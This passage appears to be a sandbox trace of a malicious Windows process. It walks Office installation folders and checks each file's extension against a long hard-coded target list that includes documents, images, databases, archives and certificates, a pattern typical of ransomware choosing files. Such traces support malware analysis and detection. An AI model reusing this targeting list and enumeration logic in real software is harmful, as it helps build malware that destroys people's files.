lpString2=".DLL") returned -1 [0074.770] lstrlenW (lpString=".cs") returned 3 [0074.770] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0074.770] lstrlenW (lpString=".css") returned 4 [0074.770] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0074.770] lstrlenW (lpString=".csv") returned 4 [0074.770] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0074.770] lstrlenW (lpString=".cub") returned 4 [0074.770] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0074.770] lstrlenW (lpString=".dae") returned 4 [0075.046] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0075.046] lstrlenW (lpString=".dat") returned 4 [0075.046] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0075.046] lstrlenW (lpString=".db") returned 3 [0075.046] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0075.047] lstrlenW (lpString=".dbf") returned 4 [0075.047] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dbx") returned 4 [0075.047] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dc3") returned 4 [0075.047] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dcm") returned 4 [0075.047] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dcr") returned 4 [0075.047] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".der") returned 4 [0075.047] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dib") returned 4 [0075.047] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dic") returned 4 [0075.047] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0075.047] lstrlenW (lpString=".dif") returned 4 [0075.047] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0075.048] lstrlenW (lpString=".divx") returned 5 [0075.048] lstrcmpiW (lpString1=".divx", lpString2="G.DLL") returned -1 [0075.048] lstrlenW (lpString=".djvu") returned 5 [0075.048] lstrcmpiW (lpString1=".djvu", lpString2="G.DLL") returned -1 [0075.048] lstrlenW (lpString=".dng") returned 4 [0075.048] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0075.048] lstrlenW (lpString=".doc") returned 4 [0075.048] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0075.048] lstrlenW (lpString=".docm") returned 5 [0075.048] lstrcmpiW (lpString1=".docm", lpString2="G.DLL") returned -1 [0075.048] lstrlenW (lpString=".docx") returned 5 [0075.048] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0075.048] lstrlenW (lpString=".dot") returned 4 [0075.048] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0075.048] lstrlenW (lpString=".dotm") returned 5 [0075.048] lstrcmpiW (lpString1=".dotm", lpString2="G.DLL") returned -1 [0075.048] lstrlenW (lpString=".dotx") returned 5 [0075.048] lstrcmpiW (lpString1=".dotx", lpString2="G.DLL") returned -1 [0075.049] lstrlenW (lpString=".dpx") returned 4 [0075.049] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".dqy") returned 4 [0075.049] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".dsn") returned 4 [0075.049] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".dt") returned 3 [0075.049] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0075.049] lstrlenW (lpString=".dtd") returned 4 [0075.049] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".dwg") returned 4 [0075.049] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".dwt") returned 4 [0075.049] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".dx") returned 3 [0075.049] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0075.049] lstrlenW (lpString=".dxf") returned 4 [0075.049] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0075.049] lstrlenW (lpString=".edml") returned 5 [0075.050] lstrcmpiW (lpString1=".edml", lpString2="G.DLL") returned -1 [0075.050] lstrlenW (lpString=".efd") returned 4 [0075.050] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".elf") returned 4 [0075.050] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".emf") returned 4 [0075.050] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".emz") returned 4 [0075.050] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".epf") returned 4 [0075.050] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".eps") returned 4 [0075.050] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".epsf") returned 5 [0075.050] lstrcmpiW (lpString1=".epsf", lpString2="G.DLL") returned -1 [0075.050] lstrlenW (lpString=".epsp") returned 5 [0075.050] lstrcmpiW (lpString1=".epsp", lpString2="G.DLL") returned -1 [0075.050] lstrlenW (lpString=".erf") returned 4 [0075.050] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".exr") returned 4 [0075.050] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0075.050] lstrlenW (lpString=".f4v") returned 4 [0075.051] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0075.051] lstrlenW (lpString=".fido") returned 5 [0075.051] lstrcmpiW (lpString1=".fido", lpString2="G.DLL") returned -1 [0075.051] lstrlenW (lpString=".flm") returned 4 [0075.051] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0075.051] lstrlenW (lpString=".flv") returned 4 [0075.052] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0075.052] lstrlenW (lpString=".frm") returned 4 [0075.052] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0075.052] lstrlenW (lpString=".fxg") returned 4 [0075.052] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0075.052] lstrlenW (lpString=".geo") returned 4 [0075.052] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0075.052] lstrlenW (lpString=".gif") returned 4 [0075.052] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0075.052] lstrlenW (lpString=".grs") returned 4 [0075.052] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0075.052] lstrlenW (lpString=".gz") returned 3 [0075.052] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0075.053] lstrlenW (lpString=".h") returned 2 [0075.053] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0075.053] lstrlenW (lpString=".hdr") returned 4 [0075.053] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".hpp") returned 4 [0075.053] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".hta") returned 4 [0075.053] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".htc") returned 4 [0075.053] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".htm") returned 4 [0075.053] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".html") returned 5 [0075.053] lstrcmpiW (lpString1=".html", lpString2="G.DLL") returned -1 [0075.053] lstrlenW (lpString=".icb") returned 4 [0075.053] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".ics") returned 4 [0075.053] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0075.053] lstrlenW (lpString=".iff") returned 4 [0075.054] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".inc") returned 4 [0075.054] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".indd") returned 5 [0075.054] lstrcmpiW (lpString1=".indd", lpString2="G.DLL") returned -1 [0075.054] lstrlenW (lpString=".ini") returned 4 [0075.054] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".iqy") returned 4 [0075.054] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".j2c") returned 4 [0075.054] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".j2k") returned 4 [0075.054] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".java") returned 5 [0075.054] lstrcmpiW (lpString1=".java", lpString2="G.DLL") returned -1 [0075.054] lstrlenW (lpString=".jp2") returned 4 [0075.054] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".jpc") returned 4 [0075.054] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0075.054] lstrlenW (lpString=".jpe") returned 4 [0075.055] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".jpeg") returned 5 [0075.055] lstrcmpiW (lpString1=".jpeg", lpString2="G.DLL") returned -1 [0075.055] lstrlenW (lpString=".jpf") returned 4 [0075.055] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".jpg") returned 4 [0075.055] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".jpx") returned 4 [0075.055] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".js") returned 3 [0075.055] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0075.055] lstrlenW (lpString=".jsf") returned 4 [0075.055] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".json") returned 5 [0075.055] lstrcmpiW (lpString1=".json", lpString2="G.DLL") returned -1 [0075.055] lstrlenW (lpString=".jsp") returned 4 [0075.055] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".kdc") returned 4 [0075.055] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0075.055] lstrlenW (lpString=".kmz") returned 4 [0075.055] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".kwm") returned 4 [0075.056] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".lasso") returned 6 [0075.056] lstrcmpiW (lpString1=".lasso", lpString2="NG.DLL") returned -1 [0075.056] lstrlenW (lpString=".lbi") returned 4 [0075.056] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".lgf") returned 4 [0075.056] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".lgp") returned 4 [0075.056] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".log") returned 4 [0075.056] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".m1v") returned 4 [0075.056] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".m4a") returned 4 [0075.056] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".m4v") returned 4 [0075.056] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0075.056] lstrlenW (lpString=".max") returned 4 [0075.057] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".md") returned 3 [0075.057] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0075.057] lstrlenW (lpString=".mda") returned 4 [0075.057] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mdb") returned 4 [0075.057] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mde") returned 4 [0075.057] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mdf") returned 4 [0075.057] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mdw") returned 4 [0075.057] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mef") returned 4 [0075.057] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mft") returned 4 [0075.057] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0075.057] lstrlenW (lpString=".mfw") returned 4 [0075.057] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mht") returned 4 [0075.058] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mhtml") returned 6 [0075.058] lstrcmpiW (lpString1=".mhtml", lpString2="NG.DLL") returned -1 [0075.058] lstrlenW (lpString=".mka") returned 4 [0075.058] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mkidx") returned 6 [0075.058] lstrcmpiW (lpString1=".mkidx", lpString2="NG.DLL") returned -1 [0075.058] lstrlenW (lpString=".mkv") returned 4 [0075.058] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mos") returned 4 [0075.058] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mov") returned 4 [0075.058] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mp3") returned 4 [0075.058] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0075.058] lstrlenW (lpString=".mp4") returned 4 [0075.058] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".mpeg") returned 5 [0075.059] lstrcmpiW (lpString1=".mpeg", lpString2="G.DLL") returned -1 [0075.059] lstrlenW (lpString=".mpg") returned 4 [0075.059] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".mpv") returned 4 [0075.059] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".mrw") returned 4 [0075.059] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".msg") returned 4 [0075.059] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".mxl") returned 4 [0075.059] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".myd") returned 4 [0075.059] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".myi") returned 4 [0075.059] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0075.059] lstrlenW (lpString=".nef") returned 4 [0075.060] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".nrw") returned 4 [0075.060] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".obj") returned 4 [0075.060] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".odb") returned 4 [0075.060] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".odc") returned 4 [0075.060] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".odm") returned 4 [0075.060] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".odp") returned 4 [0075.060] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".ods") returned 4 [0075.060] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".oft") returned 4 [0075.060] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0075.060] lstrlenW (lpString=".one") returned 4 [0075.061] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0075.061] lstrlenW (lpString=".onepkg") returned 7 [0075.061] lstrcmpiW (lpString1=".onepkg", lpString2="ING.DLL") returned -1 [0075.061] lstrlenW (lpString=".onetoc2") returned 8 [0075.061] lstrcmpiW (lpString1=".onetoc2", lpString2="DING.DLL") returned -1 [0075.061] lstrlenW (lpString=".opt") returned 4 [0075.061] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0075.061] lstrlenW (lpString=".oqy") returned 4 [0075.061] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0075.061] lstrlenW (lpString=".orf") returned 4 [0075.061] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0075.061] lstrlenW (lpString=".p12") returned 4 [0075.061] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0075.061] lstrlenW (lpString=".p7b") returned 4 [0075.061] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0075.061] lstrlenW (lpString=".p7c") returned 4 [0075.061] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pam") returned 4 [0075.062] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pbm") returned 4 [0075.062] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pct") returned 4 [0075.062] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pcx") returned 4 [0075.062] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pdd") returned 4 [0075.062] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pdf") returned 4 [0075.062] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pdp") returned 4 [0075.062] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pef") returned 4 [0075.062] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0075.062] lstrlenW (lpString=".pem") returned 4 [0075.062] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0075.063] lstrlenW (lpString=".pff") returned 4 [0075.063] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0075.063] lstrlenW (lpString=".pfm") returned 4 [0075.063] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0075.063] lstrlenW (lpString=".pfx") returned 4 [0075.063] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0075.063] lstrlenW (lpString=".pgm") returned 4 [0075.063] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0075.063] lstrlenW (lpString=".php") returned 4 [0075.063] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0075.063] lstrlenW (lpString=".php3") returned 5 [0075.063] lstrcmpiW (lpString1=".php3", lpString2="G.DLL") returned -1 [0075.063] lstrlenW (lpString=".php4") returned 5 [0075.063] lstrcmpiW (lpString1=".php4", lpString2="G.DLL") returned -1 [0075.063] lstrlenW (lpString=".php5") returned 5 [0075.063] lstrcmpiW (lpString1=".php5", lpString2="G.DLL") returned -1 [0075.063] lstrlenW (lpString=".phtml") returned 6 [0075.063] lstrcmpiW (lpString1=".phtml", lpString2="NG.DLL") returned -1 [0075.064] lstrlenW (lpString=".pict") returned 5 [0075.064] lstrcmpiW (lpString1=".pict", lpString2="G.DLL") returned -1 [0075.064] lstrlenW (lpString=".pl") returned 3 [0075.064] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0075.064] lstrlenW (lpString=".pls") returned 4 [0075.064] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0075.064] lstrlenW (lpString=".pm") returned 3 [0075.064] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0075.064] lstrlenW (lpString=".png") returned 4 [0075.064] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0075.064] lstrlenW (lpString=".pnm") returned 4 [0075.064] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0075.064] lstrlenW (lpString=".pot") returned 4 [0075.064] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0075.064] lstrlenW (lpString=".potm") returned 5 [0075.064] lstrcmpiW (lpString1=".potm", lpString2="G.DLL") returned -1 [0075.064] lstrlenW (lpString=".potx") returned 5 [0075.064] lstrcmpiW (lpString1=".potx", lpString2="G.DLL") returned -1 [0075.064] lstrlenW (lpString=".ppa") returned 4 [0075.064] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0075.065] lstrlenW (lpString=".ppam") returned 5 [0075.065] lstrcmpiW (lpString1=".ppam", lpString2="G.DLL") returned -1 [0075.065] lstrlenW (lpString=".ppm") returned 4 [0075.065] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0075.065] lstrlenW (lpString=".pps") returned 4 [0075.065] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0075.065] lstrlenW (lpString=".ppsm") returned 5 [0075.065] lstrcmpiW (lpString1=".ppsm", lpString2="G.DLL") returned -1 [0075.065] lstrlenW (lpString=".ppt") returned 4 [0075.065] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0075.065] lstrlenW (lpString=".pptm") returned 5 [0075.065] lstrcmpiW (lpString1=".pptm", lpString2="G.DLL") returned -1 [0075.065] lstrlenW (lpString=".pptx") returned 5 [0075.065] lstrcmpiW (lpString1=".pptx", lpString2="G.DLL") returned -1 [0075.065] lstrlenW (lpString=".prn") returned 4 [0075.065] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0075.065] lstrlenW (lpString=".ps") returned 3 [0075.065] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0075.065] lstrlenW (lpString=".psb") returned 4 [0075.065] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".psd") returned 4 [0075.066] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".pst") returned 4 [0075.066] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".ptx") returned 4 [0075.066] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".pub") returned 4 [0075.066] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".pwm") returned 4 [0075.066] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".pxr") returned 4 [0075.066] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0075.066] lstrlenW (lpString=".py") returned 3 [0075.066] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0075.066] lstrlenW (lpString=".qt") returned 3 [0075.066] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0075.082] lstrlenW (lpString=".r3d") returned 4 [0075.082] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0075.082] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0075.083] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0076.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f64008 | out: hHeap=0x5d0000) returned 1 [0076.394] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0076.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f64008 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned 94 [0076.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0076.395] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="..", cAlternateFileName="")) returned 1 [0076.395] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0076.395] lstrlenW (lpString="Office32MUI.XML") returned 15 [0076.395] lstrlenW (lpString=".1cd") returned 4 [0076.395] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.395] lstrlenW (lpString=".3ds") returned 4 [0076.396] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0076.396] lstrlenW (lpString=".3fr") returned 4 [0076.396] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0076.396] lstrlenW (lpString=".3g2") returned 4 [0076.396] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0076.396] lstrlenW (lpString=".3gp") returned 4 [0076.396] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0076.396] lstrlenW (lpString=".7z") returned 3 [0076.396] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.396] lstrlenW (lpString=".accda") returned 6 [0076.396] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0076.396] lstrlenW (lpString=".accdb") returned 6 [0076.396] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0076.396] lstrlenW (lpString=".accdc") returned 6 [0076.396] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0076.396] lstrlenW (lpString=".accde") returned 6 [0076.396] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0076.396] lstrlenW (lpString=".accdt") returned 6 [0076.396] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0076.396] lstrlenW (lpString=".accdw") returned 6 [0076.396] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 